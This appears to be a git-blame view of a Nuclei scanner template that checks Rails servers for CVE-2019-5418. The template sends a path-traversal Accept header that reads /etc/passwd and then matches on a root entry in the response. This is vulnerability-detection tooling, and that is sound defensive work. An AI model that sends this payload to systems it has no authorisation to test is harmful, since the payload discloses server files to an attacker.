2020-04-08 15:07:10 +00:00
|
|
|
id: CVE-2019-5418
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: File Content Disclosure on Rails
|
|
|
|
author: omarkurt
|
|
|
|
severity: medium
|
2020-05-25 07:49:06 +00:00
|
|
|
# reference: https://github.com/omarkurt/CVE-2019-5418
|
2020-05-08 16:31:59 +00:00
|
|
|
|
2020-04-08 15:07:10 +00:00
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}"
|
|
|
|
headers:
|
2020-05-24 03:55:32 +00:00
|
|
|
Accept: ../../../../../../../../etc/passwd{{
|
2020-04-08 15:07:10 +00:00
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
2020-05-25 07:49:06 +00:00
|
|
|
- 200
|
2020-04-08 15:07:10 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
2020-05-25 07:49:06 +00:00
|
|
|
- "root:[x*]:0:0:"
|
2020-04-08 15:07:10 +00:00
|
|
|
part: body
|